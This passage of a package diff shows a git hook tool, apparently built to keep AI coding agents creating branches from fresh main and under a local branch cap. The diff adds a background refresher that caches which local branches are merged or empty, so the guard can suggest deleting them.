in 'wp<number>', which is reserved for the ` +\n `squash-merge tool's generation marker (base → basewp2 → basewp3). ` +\n `Rename it to a plain feature branch. ${this.branchFormat}.`,\n )];\n }\n\n // The cap is checked BEFORE the origin/main allow below — `git checkout -b <name> origin/main`\n // is the normal, always-permitted path, so a cap check placed after it would never once fire.\n const capViolation = this.checkBranchCap(ctx);\n if (capViolation) return [capViolation];\n\n // Explicitly basing off origin/main is always allowed — it creates the branch from fresh main\n // regardless of the current branch, and is the ONLY way that also works inside a linked worktree\n // (where `git checkout main` fatals). Reserved-name check above still applies.\n if (ORIGIN_MAIN_BASE.test(command)) return [];\n\n const currentBranch = execSync('git rev-parse --abbrev-ref HEAD', {\n cwd: ctx.workspaceRoot,\n encoding: 'utf8',\n }).trim();\n\n if (currentBranch === 'main') {\n return checkMainIsUpToDate(ctx, requestedName);\n }\n\n // Not on main: creating this branch would stack it on a feature branch (a sub-branch).\n if (this.config.mode === 'ON_NO_SUBBRANCHES') {\n return [new V(\n 1,\n truncate(ctx.command),\n `You are on '${currentBranch}', not main. Create the branch OFF origin/main instead of ` +\n `stacking it on this branch: git fetch origin main && git checkout -b ${requestedName} origin/main ` +\n `(works here and inside a worktree). ${this.branchFormat}. ` +\n `You can temporarily turn this off if you truly need a sub-branch by setting ` +\n `branch-creation-guard.ignoreModifiedUntilEpoch (a future epoch) in webpieces.config.json.`,\n )];\n }\n\n return [new V(\n 1,\n truncate(ctx.command),\n `You are on '${currentBranch}', not main. Branches must be created from fresh main: ` +\n `git fetch origin main && git checkout -b ${requestedName} origin/main. ${this.branchFormat}. ` +\n `If you truly need a stacked sub-branch (requires human approval), name it per ` +\n `branch-creation-guard.subBranchNaming ('${this.subBranchNaming}').`,\n )];\n }\n\n /**\n * The cap. Blocks branch #N+1 until already-merged branches are reaped, which is the ONLY thing\n * keeping the local branch list bounded.\n *\n * Fails OPEN when the cache is absent (fresh clone, `gh` unavailable, refresher hasn't run yet):\n * never block on data we don't have. The detached refresher regenerates it within one hook call,\n * so the cap starts enforcing on its own.\n */\n private checkBranchCap(ctx: BashContext): Violation | null {\n const count = this.mergedBranches.localBranches(ctx.workspaceRoot).length;\n if (count < this.maxLocalBranches) return null;\n\n const cache = this.mergedBranches.readMergedBranches(ctx.workspaceRoot);\n if (!cache) return null;\n\n this.capCache = cache;\n const reapable = cache.deletable.length;\n const detail = reapable > 0\n ? `${String(reapable)} of them are dead (merged, or holding no commits) and can be deleted right now.`\n : 'None of them are dead, so none can be auto-reaped — see the options below.';\n\n return new V(\n 1,\n truncate(ctx.command),\n `You have ${String(count)} local branches; the cap (branch-creation-guard.maxLocalBranches) ` +\n `is ${String(this.maxLocalBranches)}. ${detail} Clean up before creating another.`,\n );\n }\n\n /**\n * The reap instructions. `deletable` is PRECOMPUTED in the cache, and every entry earned its place\n * by one of exactly two proofs: a MERGED PR (the work is in main), or zero commits of its own\n * (there is no work). Deleting the list cannot lose anything — so just run the command.\n *\n * The wording must not overstate that: the list is NOT uniformly \"merged PR\" branches, and a\n * message that tells an agent to run `git branch -D` has to be exactly true about why that's safe.\n */\n private capFixHint(cache: MergedBranchesCache): FixHint {\n const options: Option[] = [];\n\n if (cache.deletable.length > 0) {\n const names = cache.deletable.map((entry: DeletableBranch): string => entry.branch);\n options.push(new Option(\n `Delete these ${String(names.length)} dead branches — each is either backed by a MERGED PR ` +\n `or has no commits of its own, so no work can be lost (see merged-branches.json for the ` +\n `per-branch reason): git branch -D ${names.join(' ')}`,\n true,\n ));\n }\n\n options.push(new Option(\n 'If you genuinely need more branches in flight, raise branch-creation-guard.maxLocalBranches ' +\n 'in webpieces.config.json.',\n ));\n options.push(new Option(\n 'To bypass this once, set branch-creation-guard.ignoreModifiedUntilEpoch (a future epoch) ' +\n 'in webpieces.config.json.',\n ));\n\n const kept = cache.keep.length > 0\n ? ` ${String(cache.keep.length)} unmerged branch(es) with real commits were deliberately SPARED — ` +\n 'do not delete those; a human decides.'\n : '';\n\n return new FixHint(\n 'Too many local branches — reap the dead ones before creating another.',\n 'Full detail (deletable + spared, with per-branch reasons) is in .webpieces/merged-branches.json, ' +\n `refreshed ${cache.timestamp || 'never'}.${kept} Pick one:`,\n options,\n );\n }\n}\n"]}
|
package/src/core/sync-main.js
CHANGED
|
@@ -36,8 +36,14 @@ function main() {
|
|
|
36
36
|
try {
|
|
37
37
|
const status = (0, rules_config_1.computeMainSyncStatus)(repoRoot);
|
|
38
38
|
(0, rules_config_1.writeMainSyncStatus)(repoRoot, status);
|
|
39
|
+
// Second slow signal, same lock, same detached run: which local branches are dead. One bulk
|
|
40
|
+
// `gh pr list --state merged` call. The branch-creation-guard reads the result to enforce its
|
|
41
|
+
// cap without ever touching the network itself. Deliberately allowed to go stale.
|
|
42
|
+
const mergedBranches = new rules_config_1.MergedBranchesService();
|
|
43
|
+
const cache = mergedBranches.computeMergedBranches(repoRoot);
|
|
44
|
+
mergedBranches.writeMergedBranches(repoRoot, cache);
|
|
39
45
|
// FINISH after a successful write — START-without-FINISH means we were killed mid-run.
|
|
40
|
-
(0, main_sync_log_1.logSyncEvent)(repoRoot, new main_sync_log_1.SyncLogEvent('FINISH', process.pid, status.branch, `merged=${String(status.branchAlreadyMerged)} mergedPr=${status.mergedPr} forkPoint=${String(status.hasForkPoint)} conflict=${String(status.conflict)} ms=${String(Date.now() - startedMs)}`));
|
|
46
|
+
(0, main_sync_log_1.logSyncEvent)(repoRoot, new main_sync_log_1.SyncLogEvent('FINISH', process.pid, status.branch, `merged=${String(status.branchAlreadyMerged)} mergedPr=${status.mergedPr} forkPoint=${String(status.hasForkPoint)} conflict=${String(status.conflict)} deletableBranches=${String(cache.deletable.length)} ms=${String(Date.now() - startedMs)}`));
|
|
41
47
|
}
|
|
42
48
|
finally {
|
|
43
49
|
// Always flip the lock off so a compute failure can't wedge the guard until the
|
|
@@ -1 +1 @@
|
|
|
1
|
-
{"version":3,"file":"sync-main.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/sync-main.ts"],"names":[],"mappings":";;
|
|
1
|
+
{"version":3,"file":"sync-main.js","sourceRoot":"","sources":["../../../../../../packages/tooling/ai-hook-rules/src/core/sync-main.ts"],"names":[],"mappings":"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","sourcesContent":["import {\n DEFAULT_HANG_TIMEOUT_MINUTES,\n MergedBranchesService,\n computeMainSyncStatus,\n writeMainSyncStatus,\n writeMainSyncLock,\n isRefreshInProgress,\n inProcessLock,\n finishedLock,\n} from '@webpieces/rules-config';\n\nimport { toError } from './to-error';\nimport { logSyncEvent, SyncLogEvent } from './main-sync-log';\n\n/**\n * The detached, fire-and-forget refresher spawned (by file path, not a bin) from\n * main-sync-refresh.ts. It does the SLOW work (merged-PR lookup + git fetch + merge-base +\n * same-file-overlap) and writes `.webpieces/main-sync-status.json` so the next hook call reads it\n * instantly. Nobody reads our exit code or output — we run after the spawning hook has returned.\n *\n * Concurrency: a lock file (`.webpieces/main-sync.lock.json`) holds `inprocess`/`finished` + a start\n * epoch. If another refresher is already `inprocess` and younger than hangTimeoutMinutes, we exit\n * immediately (don't pile up `git fetch`es). If it's `inprocess` but older than hangTimeoutMinutes,\n * we assume it hung and proceed anyway.\n *\n * argv: [, , repoRoot, hangTimeoutMinutes]\n */\nexport function main(): void {\n const repoRoot = process.argv[2] ?? process.cwd();\n const hangTimeoutMinutes = Number(process.argv[3]) || DEFAULT_HANG_TIMEOUT_MINUTES;\n const startedMs = Date.now();\n\n // First action: prove the detached child actually started. If guard-async-work.log has no START line\n // for a spawn, the child never launched (or died before this point).\n logSyncEvent(repoRoot, new SyncLogEvent('START', process.pid, '-', `argv=${process.argv.slice(2).join(' ')}`));\n\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n if (isRefreshInProgress(repoRoot, hangTimeoutMinutes)) {\n logSyncEvent(repoRoot, new SyncLogEvent('SKIP_INPROGRESS', process.pid, '-', 'another refresh is in progress'));\n return;\n }\n\n const lock = inProcessLock();\n writeMainSyncLock(repoRoot, lock);\n // eslint-disable-next-line @webpieces/no-unmanaged-exceptions\n try {\n const status = computeMainSyncStatus(repoRoot);\n writeMainSyncStatus(repoRoot, status);\n\n // Second slow signal, same lock, same detached run: which local branches are dead. One bulk\n // `gh pr list --state merged` call. The branch-creation-guard reads the result to enforce its\n // cap without ever touching the network itself. Deliberately allowed to go stale.\n const mergedBranches = new MergedBranchesService();\n const cache = mergedBranches.computeMergedBranches(repoRoot);\n mergedBranches.writeMergedBranches(repoRoot, cache);\n\n // FINISH after a successful write — START-without-FINISH means we were killed mid-run.\n logSyncEvent(repoRoot, new SyncLogEvent(\n 'FINISH', process.pid, status.branch,\n `merged=${String(status.branchAlreadyMerged)} mergedPr=${status.mergedPr} forkPoint=${String(status.hasForkPoint)} conflict=${String(status.conflict)} deletableBranches=${String(cache.deletable.length)} ms=${String(Date.now() - startedMs)}`,\n ));\n } finally {\n // Always flip the lock off so a compute failure can't wedge the guard until the\n // staleness reclaim kicks in.\n writeMainSyncLock(repoRoot, finishedLock(lock.started));\n }\n } catch (err: unknown) {\n const error = toError(err);\n // Detached: swallow so a transient git/fs error never leaves poison state (the next hook call\n // spawns a fresh refresher) — but record WHY it died so the failure isn't invisible.\n logSyncEvent(repoRoot, new SyncLogEvent('ERROR', process.pid, '-', `${error.message} | ${error.stack ?? ''}`));\n }\n}\n\nif (require.main === module) {\n main();\n}\n"]}
|